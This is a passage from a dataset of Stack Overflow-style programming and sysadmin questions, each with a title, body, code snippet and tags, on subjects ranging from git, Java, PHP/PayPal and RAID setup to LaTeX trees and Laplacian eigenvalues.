very hard to search for on Google with the amount of documentation there is about
git, but basically, when I do a \"git commit\", it creates a file called \"-\". It
has nothing in it, and is owned by my user. Is there a reason this file is being
created and is there anything I can do to stop it since it's a little annoying?
The file is not under git control. Git acts like its not even there.\nUPDATE\nAs
I'm answering questions in the comments, I realized that this happened right after
I tried to make it so that I no longer needed to use \"ssh-add\" every time I
wanted to push to a remote. The following is in my .bash_profile.\n\nIf this looks
incorrect, let me know.\n", "git() {\n if ! ssh-add -l >/dev/null 2>-; then\n
ssh-add ~/.ssh/remote1\n ssh-add ~/.ssh/remote2\n fi\n
/usr/bin/git \"$@\"\n}\nexport -f git\n", "command-line git ubuntu-server ubuntu-
12.04"], "834964": ["Simple test code for Lucene 4.3.0 don't work", "I wrote simple
code based on book \"Lucene in action\" which should show me how work different
analyzers (with Lucene 4.3.0). But when I try to increment tokenStream, then I
receive NullPointerException. Do you have any suggestions? Below I attach the
code:\n\nI can't start a loop. Do you have idea what am I doing wrong?\nHere I add
stacktrace:\n\n", "public static void main(String[] args) throws IOException {\n
System.out.println(\"\\n----\");\n System.out.println(\"StandardAnalyzer\");\n
displayTokensWithFullDetails(new StandardAnalyzer(Version.LUCENE_43),\
n \"I'll email you at [email protected]\");\n}\n\npublic static void
displayTokensWithFullDetails(Analyzer analyzer,\n
String text) throws IOException {\n\n TokenStream stream =
analyzer.tokenStream(\"contents\",\n
new StringReader(text));\n\n //defining attributes\n\n
while(stream.incrementToken()) {\n\n //print details of tokens\n\n }\n
System.out.println();\n }\n", "java testing lucene"], "5148229": ["How does one
configure networking on OpenStack?", "I've been playing with Openstack, but I can't
get the networking to function correctly. I'm just trying to get a single server
going. I can bring up instances, but they get stuck at the BIOS loading screen
(which I can see from VNC), and the log tells me that they're searching for an IP
address.\nI'm on Ubuntu 10.04, if it matters. I'm using Stackops' PPA for all the
Openstack packages. Everything's at the latest revisions.\nI've caught this post,
and it seems really helpful: http://blog.stackops.com/2011/06/13/understanding-
stackops-openstack-nova-networking-configuration/#comment-89. The question I have
is: how and where are the various networks listed there (green, red, yellow, and
blue) configured? What goes in , , and ?\nMy server has a 10.1.1.x address, and I
just want to give any VM's I bring up another 10.1.1.x address so that it's visible
on the local network directly. (I can try getting fancier later.) Can anyone give
me some example configuration on how to do this? I don't even care if I use DHCP or
\"flat\" networking. (The server has a second NIC and plugs into a managed switch,
but I don't want to try VLAN'ing
at this point.)\n\nAs you can see, my instance is coming up with a 192.168.254.x
address. I know I've put that range into my configuration somewhere along the line,
but I can't find where it's at in my configuration now, so I can't change it!\nI'd
give you a link to the docs I followed to setup my image, but they've disappeared
from the Wiki! ;-)\n", "nova-manage network", "ubuntu cloud-computing rackspace-
cloud openstack"], "4169599": ["Gmail stripping link color from emails?",
"Everything renders fine apart from link colors.. These are my links.\n\nHowever,
in gmail. These links are converted to this.\n\nOK, so maybe gmail does this for
all emails? I look around. Lots of blue links. I then open up a youtube message.\n\
nCurious.. very curious. YouTube isn't having this problem that I am having. Can
anyone else modify link colors in gmail when sending html emails? How are you doing
it?\n", "<a href=\"http://www.facebook.com..\" style=\"color:#000000;text-
decoration:none;font-weight:bold\">Facebook</a>\n\n<a
href=\"http://www.twitter.com/...\" style=\"color:#000000;\">Twitter</a>\n", "html
gmail anchor"], "681601": ["Calling images from sqlite to ViewFlipper", "I'm making
an app for my school project which is basically a wattage calculator for home
appliances. I have about 50 75X75 icons of the appliances in my . Is there a way to
create a search interface to call these images rather than flipping through all
images to find it? I went through couple of web sites and learnt that in order to
use a search interface I need to store my images in a database. How it really
works? Is there another way to do it? Or is it really possible to do it? \n",
"ViewFlipper", "android sqlite"], "4979754": ["How to Override this run method
calling another method", "I am having a run method which tries to override another
run method. But its not happening because I am getting a \"Class not found
Exception\" before it passed on to run method.\nHere\u00b4s my class with run
method\n\nThis is the method which I have to call in order to execute.\n\n}\nHow
can I implement this?\nSince I am new here, please give a reason for thumbs down.
So that I can explain my question.\n", " public class PollingSynchronizer
implements Runnable{\n public Collection<KamMessage>
incomingQueue,outgoingQueue,fetchedMessages;\n private Connection dbConnection;\
n\n\n/**\n * Constructor. Requires to provide a reference to the Kam message queue\
n * \n * @param incomingMessages reference to message queue\n * @param dbConnection
\n * \n */\npublic PollingSynchronizer(Collection<KpiMessage> incomingQueue,
Connection dbConnection) {\n super();\n this.incomingQueue = incomingQueue;\n
this.dbConnection = dbConnection;\n}\nprivate int seqId;\npublic int getSeqId() {\n
return seqId;\n}\npublic void setSeqId(int seqId) {\n this.seqId = seqId;\n}\n\
n\n\n@Override\n/**\n * The method which runs Polling action and record the time at
which it is done\n * \n */\n\n public void run() {\n int seqId = 0;\n
while(true) {\n List<KamMessage> list = null;\n try {\n
list = fullPoll(seqId);\n if (!list.isEmpty()) {\n seqId
= list.get(0).getSequence();\n incomingQueue.addAll(list);\n
this.outgoingQueue = incomingQueue;\n System.out.println(\"waiting 3
seconds\");\n System.out.println(\"new incoming message\");\n
Thread.sleep(3000);\n //when I debug my execution stops here and
throws exception\n MessageProcessor processor = new
MessageProcessor() {\n\n @Override\n public
void run() {\n new MessageProcessor().generate(outgoingQueue);
\n }\n };\n\n\n }\n } catch
(Exception e1) {\n e1.printStackTrace();\n }\n\n\n }\n}\n",
"java multithreading object methods queue"], "96173": ["chrome/firefox unable to
render html which is coming form different server", "io.iframe.send to submit
multipart data to my server, my HTML files are hosted on web server which is
running on 80 and our application on tomcat which is running on 8080 , when i make
request to my application through dojo.io.iframe.send , i process the request and
send data back to in json format since dojo.iframe cannot handle json format we
wrap it in HTML and send it to js code as mentioned in
http://livedocs.dojotoolkit.org/dojo/io/iframe but i am getting cannot read
property value of undefined. The reason is when i hit the application server
directly with request localhost:8080/domain/request? data is render as HTML but if
it hit through web server localhost/domain/request? data is rendered as text
only in chrome and Firefox.\nCan anybody let me know the reason behind it.\n", "",
"html google-chrome firefox dojo"], "5004022": ["How to measure Django cache
performance?", "I have a rather small (ca. 4.5k pageviews a day) website running on
Django, with PostgreSQL 8.3 as the db.\nI am using the database as both the cache
and the sesssion backend. I've heard a lot of good things about using Memcached for
this purpose, and I would definitely like to give it a try. However, I would like
to know exactly what would be the benefits of such a change: I imagine that my
site may be just not big enough for the better cache backend to make a difference.
The point is: it wouldn't be me who would be installing and configuring memcached,
and I don't want to waste somebody's time for nothing or very little.\nHow can I
measure the overhead introduced by using the db as the cache backend? I've looked
at django-debug-toolbar, but if I understand correctly it isn't something you'd
like to put on a production site (you have to set for it to work). Unfortunately,
I cannot quite reproduce the production setting on my laptop (I have a different
OS, CPU and a lot more RAM).\nHas anyone benchmarked different Django cache/session
backends? Does anybody know what would be the performance difference if I was
doing, for example, one session-write on every request?\n", "DEBUG=True", "python
django postgresql caching memcached"], "3523286": ["How to detect the existence of
a class at runtime in .NET?", "Is it possible in a .NET app (C#), to conditionally
detect if a class is defined at runtime?\nSample implementation - say you want to
create a class object based on a configuration option?\n", "", "c# reflection class
runtime"], "2808570": ["ASP.NET MVC2 Form Element Names", "I'm trying to make a
really simple form in ASP using MVC2 and C#. I have two elements and a submit
button, and I made the form using the designer in VS2010.\nView: \n\nThe problem
I'm having now is when I try to access the form elements in my controller, I get
wierd key names using the FormCollection object.\nController:\n\nThe name property
of the two controls is used for the keys, which gets set at runtime to
ctl00$MainContent$txtEventDescription and ctl00$MainContent$txtEventID. Is there
any way I can reference these items by the ID's that I set at design time? I tried
adding a name attribute with the same value as the id, but that didn't work.\
nThanks!\n", "<%@ Page Title=\"\" Language=\"C#\"
MasterPageFile=\"~/Views/Shared/Site.Master\"
Inherits=\"System.Web.Mvc.ViewPage<dynamic>\" %>\n\n<asp:Content ID=\"Content1\"
ContentPlaceHolderID=\"TitleContent\" runat=\"server\">\nCreate\n</asp:Content>\n\
n<asp:Content ID=\"Content2\" ContentPlaceHolderID=\"MainContent\"
runat=\"server\">\n\n<form id=\"create_event\" runat=\"server\">\n<h2>Create</h2>\
n<p>Event ID:\n <asp:TextBox ID=\"txtEventID\" runat=\"server\"></asp:TextBox>\
n</p>\n<p>Event Description:\n <asp:TextBox ID=\"txtEventDescription\"
runat=\"server\"></asp:TextBox>\n</p>\n<p>\n <asp:Button ID=\"submit\"
runat=\"server\" Text=\"Add Event\" />\n</p>\n\n</form>\n\n</asp:Content>\n", "c#
forms asp.net-mvc-2"], "4430833": ["WCF oData Table Relations", "I am trying to
return a custom class from my wcf service. My codes are below and getting error. \
nThe server encountered an error processing the request. The exception message is
'The property 'UserList' on type 'DealerModel' is not a valid property. Properties
whose types are collection of primitives or complex types are not supported.'. See
server logs for more details. The exception stack trace is:\nI am trying to get a
json value like below;\n\nMy codes\n\n", "<Dealer>\n <DealerName/>\n
<DealerAdress/>\n <Users>\n <FirstName/>\n
<LastName/>\n <FirstName/>\n <LastName/>\n
</Users>\n</Dealer>\n", "sql wcf wcf-data-services odata"], "1424919": ["Prevent
mail being marked as spam", "I'm wondering how to prevent my emails from my site
being marked as spam? I'm using sendmail.\nI'm trying to send emails through my
ruby-on-rails application. The mails are all written in swedish (if that does make
a difference?). I don't know why they keep getting marked as spam.\nAre there any
things that I can do to minimize the risk?\n", "", "email debian sendmail spam
ruby-on-rails"], "2140662": ["troubleshooting Windows XP and smb", "I have problem
with mapping smb network shares to windows XP (net use and Windows Explorer). In
LAN I have two Windows XP computers. One of them (let's name it XP_1) can map share
without problems. The second (let's name it XP_2) - can't. \nThe smb Linux server
(Icy Box NAS 4220) host name is . XP_2 can ping it by name, but \n \ngives \n\nand
fails in the same way.\nTroubleshooting guide from MS help said that \"the remote
computer might not be running the File and Printer Sharing for Microsoft Networks
service.\" But it is not true. I can connect to this share from another computer in
the same network.\n showed \nI changed it to with no success.\nThe firewall is
disabled. \nWhat should I do to troubleshoot this problem?\n", "storage1",
"windows-xp network-shares smb"], "2184019": ["Paypal IPN Script / MySql Insert
Query issue", "I'm having an issue with my IPN script.\nIts fine for verifying
payment etc but im trying to get it to input the data into a database.\nThe user
email and password entry prior to works fine but not the second one..\n\nAny ideas
what is wrong here?\n", "$item_name = $_POST['item_name'];\n$item_number =
$_POST['item_number'];\n$payment_status = $_POST['payment_status'];\
n$payment_amount = $_POST['mc_gross'];\n$payment_currency = $_POST['mc_currency'];\
n$txn_id = $_POST['txn_id'];\n$receiver_email = $_POST['receiver_email'];\
n$payer_email = $_POST['payer_email'];\n\n$email = $_POST['item_name'];\n$password
= mt_rand(1000, 9999);\n$Random = print_r($_POST);\n\n\nmysql_query(\"INSERT INTO
users (email, password) VALUES('\". mysql_escape_string($email) .\"',
'\".md5($password).\"') \") or die(mysql_error()); \n\nmysql_query(\"INSERT INTO
LNCH_Sales SET\n
item_name = '%s',\n
item_number = '%s',\n
payment_status = '%s',\n
payment_amount = '%s',\n
payment_currency = '%s',\n
txn_id = '%s',\n
receiver_email = '%s',\n
payer_email = '%s'\",\n
mysql_real_escape_string($item['name']),\n
mysql_real_escape_string($item['number']),\n
mysql_real_escape_string($payment['status']),\n
mysql_real_escape_string($payment['amount']),\n
mysql_real_escape_string($payment['currency']), \n
mysql_real_escape_string($txn['id']),\n
mysql_real_escape_string($receiver['email']),\n
mysql_real_escape_string($payer['email'])\n\n
);\n", "php mysql sql paypal"], "5560006": ["How to compute the first eigenvalue of
Laplace operator in an ellipse?", "Let $\\mathcal{E}$ be an ellipse in the $\\
mathbb{R}^2$ plane with center in $o=(0,0)$, given focal distance $c\\geq 0$ and
given area $A>0$.\nIt is a fact that the eigenvalue problem for the Laplace
operator with homogeneous Dirichlet boundary condition, i.e.:\n$$\\begin{cases}
u_{xx}+u_{yy}=-\\lambda u, &\\text{in } \\mathcal{E}, \\\\ u=0, &\\text{on } \\
partial \\mathcal{E}, \\end{cases} $$\nhas solutions for infinite positive values
of $\\lambda$: these values are called eigenvalues of the Laplace operator in $\\
mathcal{E}$; in particular, there exists an eigenvalue $\\lambda_1(c)$ which is the
smallest one: $\\lambda_1(c)$ is called the first eigenvalue of the Laplace
operator and it has some nice properties (e.g. it is simple, for the eigenspace
associated to $\\lambda_1(c)$ is one dimensional).\nNow, if $\\mathcal{E}$ is a
circle (this can happen iff $c=0$) it is well known that $\\lambda_1(0)=\\frac{\\
pi}{A}\\ j_{0,1}^2$, where $j_{0,1}\\approx 2.40483$ is the first zero of the
Bessel function $\\text{J}_0(x)$.\nThe questions I'm interested in are the
following:\n\nWhat happens to $\\lambda_1(c)$ if $\\mathcal{E}$ is a \"true\"
ellipse (i.e. if $c>\n0$)? Can it be evaluated explicitly (in terms of some special
functions)?\nAnd how different values of $c$ bias the value of $\\lambda_1(c)$
around $0$?\n\nIt is known that $\\lambda_1(c)\\geq \\lambda_1(0)$, with equality
iff $\\mathcal{E}$ is a circle (i.e., iff $c=0$; this is the famous Faber-Krahn
inequality), but it also seems quite obvious that $\\lambda_1(c)$ has to exhibit a
sort of continuity in $0$: in fact one expects that $\\lim \\limits_ {c\\to 0^+} \\
lambda_1(c) = \\lambda_1(0)$...\nNow, I did some researches on the net.\nIn the
case $c>0$, one can introduce the elliptic coordinates $(\\mu ,\\nu)$:\n$$\\
begin{cases} x=c\\cosh \\mu \\cos \\nu, \\\\ y=c\\sinh \\mu \\sin \\nu ,\\
end{cases} $$\nso that equation $u_{xx}+u_{yy}=-\\lambda u$ transforms into:\n$
$u_{\\mu\\mu} +u_{\\nu \\nu} =-c^2 \\lambda (\\sinh^2 \\mu +\\sin^2 \\nu) u $$\
nwhich is harder to solve with separation of variables than the equation for the
circle; neverthless separation of variables applies and yields a couple of so-
called Mathieu's differential equations, which are a sort of ugly counterpart of
Bessel's differential equation...\nBut then I cannot figure out how to compute $\\
lambda_1(c)$ (neither for fixed $c$ nor for varying $c$)!\nDo I have to use some
tables (like the ones in Abramowitz & Stegun, \u00a720)?\nAnd, in the positive
case, how they can be used?\nIf you have any reference it could be worth reading,
please feel free to suggest.\nThanks in advance for your help.\n", "",
"differential-equations eigenvalues pde"], "4910209": ["Lining up leaf nodes in
pstree", "I am a TeX newbie, trying to make a syntax tree. What I'm going for is
this:\n\nwhere the bottom row includes some subscripts. My code is as follows:\n\
nTwo questions:\na) How can I align the leaf nodes at the bottom instead of
immediately beneath their mother node?\nb) The vertical spacing of the things in
the is inconsistent (probably by some sort of \"if it fits\" criterion - if if
there's an \"j\" or a \"g\" on the upper word, the spacing increases to accomodate
the downstroke). Is there a better way of writing things one beneath another that
will always have the same vertical spacing?\nEDIT: as requested, minimal example of
node-internal formatting problem:\n\nNotice how higher \"h\" is compared to \"m\"
(\"j\" and \"n\" being level).\n", " X\n / \\\n X \\\n / \\
\\\n X \\ \\\n / \\ \\ \\\n X \\ \\ \\\n / \\ \\ \\ \\\nA
B C D E\na b c d e\n", "vertical-alignment pstricks linguistics"],
"36266": ["A way to always dodge a histogram?", "Using ggplot2 I'm creating a
histogram with a factor on the horizontal axis and another factor for the fill
color, using a dodged position. My problem is that the fill factor sometimes takes
only one value for a value of the horizontal factor, and with nothing to dodge the
bar takes up the full width. Is there a way to make it dodge nothing so that all
bar widths are the same? Or equivalently to plot the 0's?\nFor example\n\n\nThis
answer has a couple ideas. It was also asked before the new version was released,
so maybe something changed? Using facets (also shown here) I don't like for my
situation, though I suppose editing the data and using could work, but it feels
inelegant. Moreover, when I tried facetting anyway\n\nI get the error \"Error in
layout_base(data, cols, drop = drop): \n At least one layer must contain all
variables used for facetting\"\nI suppose I could generate a data frame of counts
and then use ,\n\nfilling out the levels that aren't present with 0's. Does anyone
know if that would work or if there's a better way?\n", "ggplot(data = mtcars,
aes(x = factor(carb), fill = factor(gear))) +\ngeom_histogram(position
= \"dodge\")\n", "r ggplot2"], "1426228": ["salesforce appexange with ruby on
rails", "I am new to Salesforce. So I like to know is there possibility to create a
new appexchange in rails application. If yes means can you please tell me how?\
nThanks for your advice.\n", "", "ruby-on-rails salesforce"], "4688799": ["Unable
to rename a RAID device: stuck with /dev/md126", "I had a fully working server.\nI
booted with SystemRescueCD, without writing anything. I didn't even mounted a
partition. Then rebooted the server.\nThe server no longer boot correctly because
some partitions don't mount.\nI see this is because the RAID partitions are not
named as before.\n/dev/md1 became /dev/md126\nand /dev/md2 became /dev/127\nI know
how to rename a md device:\n\nAfter that, the md1 device is okay... until I
reboot.\nAfter reboot it is returned to /dev/md126\nQuestion 1: what's the magic
behind the fact SystemRescueCD changed that ?\nQuestion 2: what can I do to rename
those md device as I want ?\n", "mdadm --stop /dev/126\nmdadm --assemble --verbose
--update=super-minor /dev/md1 /dev/sda6 /dev/sdb6\nmount /dev/md1 /mnt/\necho
'dummy' > /mnt/dummy # to be sure the kernel updates the superblock. See manpage\
n", "software-raid mdadm"], "4424839": ["How to design DataGridView for term
appointment", "I am trying to create for term reservation. Mock-up of the idea is
on a picture below. It should retrieve occupied terms from database and fill in .
Every row should represent one hour period and columns should represent dates of
current week\nI am trying to create table schema first and then populate it from
database. I created some code like this:\n\nand this methods are used when
navigating trough weeks\n\nand\n\nNow, I know this is not the best solution, but
for now is the best I got. Does anyone knows how to solve this? I'm still a
beginner in C#, so any help is appreciated.\nThanks in advance.\n", "GridView", "c#
datagridview appointment"], "2414286": ["Exception in iPad, UIImagePickerController
must be presented via UIPopoverController", "I have created an application for
capture image from camera. This is my code\n\nAnd implemented this delegate method
for get the captured image\n\nImplemented this method if user
cancel the controller\n\nBut it shows this exception. Does anyone have any idea
why it is showing such exception after executing last line of function
showCameraUI.\n\n", " -(IBAction) showCameraUI {\n BOOL hasCamera =
[UIImagePickerController
isSourceTypeAvailable:UIImagePickerControllerSourceTypeCamera];\n
UIImagePickerController* picker = [[UIImagePickerController alloc] init];\n
picker.delegate = self;\n picker.sourceType = hasCamera ?
UIImagePickerControllerSourceTypeCamera :
UIImagePickerControllerSourceTypePhotoLibrary;\n [self
presentModalViewController:picker animated:YES];\n}\n", "iphone ios objective-c
ipad ios6"], "3544023": ["In php cli, how to redirect?", "I have the following code
stored in a file called index.php.\n\nIn a browser, it creates a file every second,
but when I run it in php CLI (php -f index.php) it just creates one file.\nHow can
I use redirect in the php CLI?\n", "<?php\nfile_put_contents(date('Y-m-d-H-i-s',
time()) . '.txt', '123');\nsleep(1);\nheader(\"Location: ./index.php\", true,
301);\n?>\n", "php cli"], "3085304": ["Implementing flowchart type workflows in
java", "We have a service that processes requests, it receives. Workflow for
processing each request contains many steps, branches depending on some
conditions(intermediate variable etc, result from some service call). Basically
whole workflow can be written as a big flowchart.\nCurrently, my implementation
contains lots of big blocks. In each block, there are again many sub blocks and
so on. This code is very hard to manage and develop on. For instance if some new
step/branches gets added in flow chart, Making corresponding code changes and
testing those changes very painful.\nDo there exist some libraries, that can be
used in such situation? I have heard of , but can that be used here?\n", "If-else",
"java workflow amazon-web-services flowchart amazon-swf"], "4224470":
["overcoming \"at least once\" condition in a LEFT JOIN", "I have the following two
tables and . I have written the following LEFT JOIN query which does what i want
except for one problem :\n\nThe previous query returns the results and whenever
(market,ticker) in the quote table is not matched by an equivalent (market,ticker)
in the scenario table a row is added with NULL values for the columns belonging to
the scenario table as such :\n\nFor the period between '2010-06-01' and '2010-07-
01' with period 'WEEK' there may have been many unmatched rows for ('sp500','QEP')
but only one row represent this fact with NULL values in the columns belonging to
scenario table. Let alone, Within these results there are many unmatched rows for
(market,ticker) but there exists at least one match so the query doesn't return
NULL values for these rows.\nWhat i want to do is for example if Q.date = '2010-07-
01' returns 500 rows for quote table, then there would be 500 * (DISTINCT
date1,date,period). with NULL values in the scenario column only when the following
condition is unmatched:\n\nSo for example the NULL results would look something
like that :\n\nAnother example if for example rows that matched from quote table
are:\n\nAnd the rows that matched the conditions \n\nare:\n\nThen the result of my
query should return\n\nIs this sort of thing possible in MySQL ?, really appreciate
any help :)\n", "quote(date,market,ticker,close)", "mysql join query-optimization
left-join"], "2448529": ["PHP Paypal Integration with existing cart and multiple
sellers", "I've been going round in circles looking at Paypal's convoluted API docs
trying to work out exactly what I need to be doing.\nI have a PHP website that has
its own cart already developed, and now I need to integrate Paypal with it.\nWhat I
want it to do is allow buying multiple items from multiple sellers and dealing with
them all in one transaction, while allowing the oppertunity to adjust postage cost
once the buyers address is confirmed.\nSo far I've gotten a barebones single amount
single seller transaction nearly working, using PHP from Paypal's integration
wizard, however I'm not having much luck getting that working properly (or
understanding what's going on) - I've given up trying to debug that and am
currently poking bits of the API on the sandbox to see if I can decipher what I
actually need to do.\nI'd ideally like to see a good how-to guide from someone who
has already done what I'm doing, or a link to some further reading that is less
vague and more example-rich than paypal's docs. \nI'm sure it's not just me but I
have a hard time reading a description of what some code should do compared to
reading the code itself.\nAny nudges in the right direction are much appreciated\
n", "", "php paypal paypal-api"], "253538": ["tomcat webapps folder", "what exactly
(exploding of WAR in detail plz) happens in the hot-deploy folder? \nHow can I
configure some other folder to be my hot-deploy folder?\nWhat's the difference
between \"deploy\" and \"webapps\" folder?\n\nfor better understanding of how
Tomcat works. Thanks!\n\n", "", "tomcat webserver development-environment"],
"1445595": ["proving idempotent central modulo of matrices", "Let $R$ be a ring,
let $I$ be an ideal of $R$, and let $u\\in R$ be idempotent modulo $I$ (that is,
$u^{2}-u\\in I$). Then $u$ can be lifted to an idempotent in $R$ in case there is
an idempotent $e$ in $R$ with $e-u \\in I$. \nI want to know that if $R$ is the
ring of $n\\times n$ upper triangular matrice over a field $\\mathbb{Q}$ and if $J$
is the ideal of matrices having zero on the diagonal, then \nthere are idempotents
that are central modulo (in the centre) $J$ that can not be lifted to central
idempotents of $R$?\n", "", "homework abstract-algebra ring-theory"], "4218938":
["How to make Python code write once, run anywhere?", "I am learning Python. My
intentions are:\n\nto write a webapp in Python/Django\ncreate an android app (using
Jython)\nwrite some python scripts for unix box\n\nI was under (incorrect)
impression that because Python has been implemented in Java (Jython) and .NET
(IronPython), I could simply write my Python code and run it through either
interpreter/compiler. \nI thought if I wrote a hello world in CPython and compiled
it with Jython, I'd get Java bytecode. If I compliled it with IronPython, I'd
get .NET bytecode.\nBut now it seems like regular Python code won't work with
Jython compiler/interpreter. You've to import some fancy Java specific modules. So,
that means, I would have to re-write my program for Java using Java
modules/libraries.\nAny tips on how to write my Python code so that it works
everywhere? Web, Unix, Android.\nNOTE: I don't want to have to learn Java.\nThanks\
n", "", "python ironpython jython"], "870411": ["Changing position of Xpages Dialog
Extension", "I am using a xpage dialog control to capture review comments.Xpage is
designed using mobile controls and i am not able to position the dialog control to
top of window. The following example does not alter the position based on the
values given in style.\n\nAlso a cancel icon (similar to 'X') appears on top of the
dialog control which I am not able to get rid of. Any tips?\n", "<xe:appPage
id=\"IDHomePage\" pageName=\"HomePage\" resetContent=\"true\">\n <xe:dialog
id=\"dialog1\" style=\"position:fixed;top:100px;left:25px\">\n <xp:table
style=\"container_form_document\">\n <xp:tr>\n <xp:td rowspan=\"2\">\n
<xe:djSimpleTextarea...................\n", "xpages lotus"], "5613952": ["How to
equalize the value of the integer in the 64 Bit to 32 Bit", "I want to match the
value of the integer in 64bit and 32bit systems, this is an example of my PHP
script\n\noutput in 32Bit System : \n-951649475\nOutput in 64Bit System : \
n1283243572029\nI want the same results on a 64bit system with 32bit, with the
value of -951649475, please help me... thanks, I'am sory my english language is
bad...\n", "function integer_hash_aritmathic ($value)\n{ \n $maxVal =
2147483647 & 0xFFFFFFFF;\n $minVal = -2147483648 & 0xFFFFFFFF;\n $hash =
0; \n\n for ($i = 0; $i < strlen($value); $i++)\n {\n $hash =
(intval($hash) * 31) + ord($value[$i]);\n\n if ($hash > $maxVal) $hash =
$hash + $minVal - $maxVal - 1;\n else if ($hash < $minVal) $hash = $hash +
$maxVal - $minVal + 1;\n\n }\n\n\n return (int)$hash;\n}\n\necho
integer_hash_aritmathic ('21512510');\n", "php integer 64bit 32bit"], "5653606":
["Populating the ForeignSecurityPrincipals Container?", "I'm trying to figure out
how to populate the ForeignSecurityPrinipals container that is built-in to Active
Directory. I have added foreign members to groups in my domain which is how I
though this was populated, but the container still remains empty. Am I going about
this the completely wrong way?\n", "", "active-directory"], "4437780": ["Getting
previous states in state_machine rails", "I am developing state machine using
state_machine on rails, here i have different states which is defined , based on
conditions state will change to another state . Here my question is how to get the
previous state? and my second question is how to list all the states in state
machine ?\n\ni will explain my question with example say i have 3 states say\n
state1,state2,state3 initially it will be in state1. when event1 is\n executed
state changes from state1=>state2 , now i wanted to know\n which is my previous
state. kindly help me out in figuring out this.\n\n", "", "ruby-on-rails ruby ruby-
on-rails-3 rubygems statemachine"], "1496213": ["Indesign CS6 Scripting - Exporting
images", "I'm having trouble writing a js script in indesign cs6 to export my
formatted images. the code below (found on this website and slightly modified) only
opens the document.\nideally the script would loop through all of the
formatted/cropped images in my document and export them into a new folder on the
desktop, but with the
original file names.\nany help would be much appreciated:\n\n", "test();\nfunction
test(){\n\nvar myDoc = app.open('/Users/StudioA/Desktop/file.indd'); \nvar myGroups
= myDoc.groups;\n\n//for each group...\nfor (var i = 0;i < myGroups.length; i++){\n
// for each rectangle in the group...\n for(var r = 0; r<
myGroups[i].rectangles.length; r++){\n\n var myRect =
myGroups[i].rectangles[r];\n app.jpegExportPreferences.exportResolution =
300;\n app.jpegExportPreferences.jpegQuality =
JPEGOptionsQuality.MAXIMUM;\n\n //give it a unique name\n var
myFile = new File('/Users/StudioA/Desktop/Export/' + myRect.name + '.jpg');\n\n
myRect.exportFile(ExportFormat.JPG, myFile);\n\n }\n }\n\n }\n",
"javascript export indesign"], "6008257": ["Split DNS for a VPN site without a
server", "So here's my current setup:\nHome:\nRV220W\nOffice:\nRV042\nI have an
IPSEC VPN running fine and dandy. Everything pings. I can manually nslookup to my
dns servers over the VPN just fine.\nNow, despite what Cisco may claim, RV220W
doesn't have a working split DNS. I'm abandoning even trying that method. It's a
buggy router, but the VPN works, so I'm going to work with what I have. It's one of
only Cisco routers that has Gigabit WAN, Wireless and IPSEC connectivity. The other
has slower VPN performance, so I'm staying with it.\nAt home, I have two Windows 8
desktops that I want to add to the domain to make things easier. Let's ignore
PPTP/L2TP/SSDP for now and I just want to work with IPSEC.\nI don't have a server
here to home to use as a DNS server with conditional forwarding or to replicate the
Server 2008 R2 DNS. \nI figured it's probably easier to do the split DNS on the two
local machines than start killing one of my machine's resources to run a VM.\nNow,
all I would want is to if a DNS requests *.mydomainname.com, then query 10.0.0.1
and/or 10.0.0.6 (my work's DNS servers).\nI haven't found anything in windows
that'll let me do that. I came up with is write a service that will query my DNS
servers for my domain's forward lookup zone and write that into windows\\system32\\
drivers\\etc\\hosts\nTheoretically, it would work.\nI think looked into BIND, but
to be honest, I find it far too confusing to use.\nI would just want (in
pseudocode):\n\n", "if (domainsuffix == \"mydomainname.com\")\n return:
requestedHostname from 10.0.0.1;\nelse\n return: default;\n", "windows dns vpn
split-dns"], "3562437": ["Copy exif data from one image at photo library to another
image", "I try to load an image from the photo library and copy the exif data from
this original image to a processed image and then save the processed image with the
exif data to photo library.\nIn order to load the image I use the following source
code:\n\nprocessedimage=process(originalimage)\n//Save processed image to photo
library\nUIImageWriteToSavedPhotosAlbum(processedimage, nil, nil, nil);\nBut when
processing and saving, the processed image doesn't contain any exif data\nfrom the
original image.\nThank you in advance for your help!\n", "-
(void)imagePickerController:(UIImagePickerController *)picker
didFinishPickingMediaWithInfo:(NSDictionary *)info\n{\noriginalimage = [[info
objectForKey:@\"UIImagePickerControllerOriginalImage\"] retain]; \n\n[self
dismissModalViewControllerAnimated:YES];\n\n}\n", "xcode iphone-sdk-4.0 uiimage
uiimagepickercontroller uiimagejpegrepresentation"], "3487855": ["building gtest
framework on XCode 4.4.1", "I'm trying to build gtest for XCode 4.4.1 as per the
instructions here and here ; however, it seems that upon trying to build \"gtest-
framework\" the only possible destination in my \"Scheme\" is \"My Mac 64-bit\".\
nWhen I try to build the project, I get the following error :-\n\nThe run
destination My Mac 64-bit is not valid for Running the scheme 'gtest-framework'.
The\n scheme 'gtest-framework' contains no buildables that can be built for\n the
SDKs supported by the run destination My Mac 64-bit. Make sure\n your targets all
specify SDKs that are supported by this version of\n Xcode.\n\nHow could I proceed
with building gtest for XCode so that I can use it for my projects?\n", "", "c++
xcode testing stl googletest"], "2876502": ["Does an HTable increment consider the
auto-flush setting?", "I'm trying to improve Hbase throughput for increments. Is
it possible to \"buffer\" several increments (for different rows) by setting
autoflush to false and then call flushCommits? Or Does the autoflush setting only
apply to normal Puts?\n", "", "performance hbase"], "3944004": ["JTA aware JDBC
connection pools", "I've been looking at a number of JDBC connection pools, but I
have the specific requirement that the pool needs to be JTA aware, which leaves me
with a short list of Apache DBCP and OW2 XAPool. The other pools I looked (c3p0,
Proxool, BoneCP) at did not appear to satisfy the JTA requirement.\nDoes anyone
have a recommendation about either XAPool, DBCP, or a connection pool I have not
mentioned here?\n", "", "java jdbc connection-pooling jta"], "4010703":
["<soap:address> location attribute when using Netbeans New -> Webservice from WSDL
using XMLSpy", "I'm trying to create a webservice using the New -> Web Service from
WSDL in Netbeans 7.1.2. \nI went ahead and created a WSDL using XML spy. Here is
the basic WSDL that I've created:\n\n\nWhen I try using the above I the 'New Web
Service From WSDL' wizard says \"There is no service in specified WSDL file.\"\nIf
I don't specify the location attribute, like so:\n\nI don't have that notification
but during the creation of the Web Service I get an error that says the attribute
is missing. \nSo my question is what do I put in the location attribute to get
Netbeans to recognize that there is a service defined, given that it isn't deployed
anywhere!\nThanks all!\n~D\n", "<wsdl:definitions xmlns:wsu=\"http://docs.oasis-
open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\" \
nxmlns:wsp=\"http://www.w3.org/ns/ws-policy\"
